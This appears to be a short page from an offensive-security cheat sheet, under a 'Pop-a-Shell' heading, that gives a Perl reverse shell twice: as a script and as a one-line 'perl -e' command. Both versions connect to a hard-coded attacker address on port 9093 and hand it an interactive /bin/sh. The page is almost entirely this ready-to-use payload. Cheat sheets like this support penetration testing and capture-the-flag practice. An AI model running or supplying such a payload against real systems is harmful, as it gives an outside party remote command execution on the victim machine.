.. / perl-reverse_shell

Star

• Pop-a-Shell

Pop-a-Shell

It can help gain a bind or reverse connection to spawn an (psuedo-)interactive prompt for code execution.

• Perl reverse shell

  
  use Socket;$i="10.10.10.10";$p=9093;
  socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
  if(connect(S,sockaddr_in($p,inet_aton($i)))){
  	open(STDIN,">&S");
  	open(STDOUT,">&S");
  	open(STDERR,">&S");
  	exec("/bin/sh -i");};
  
  perl -e 'use Socket;$i="10.10.14.11";$p=9093;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'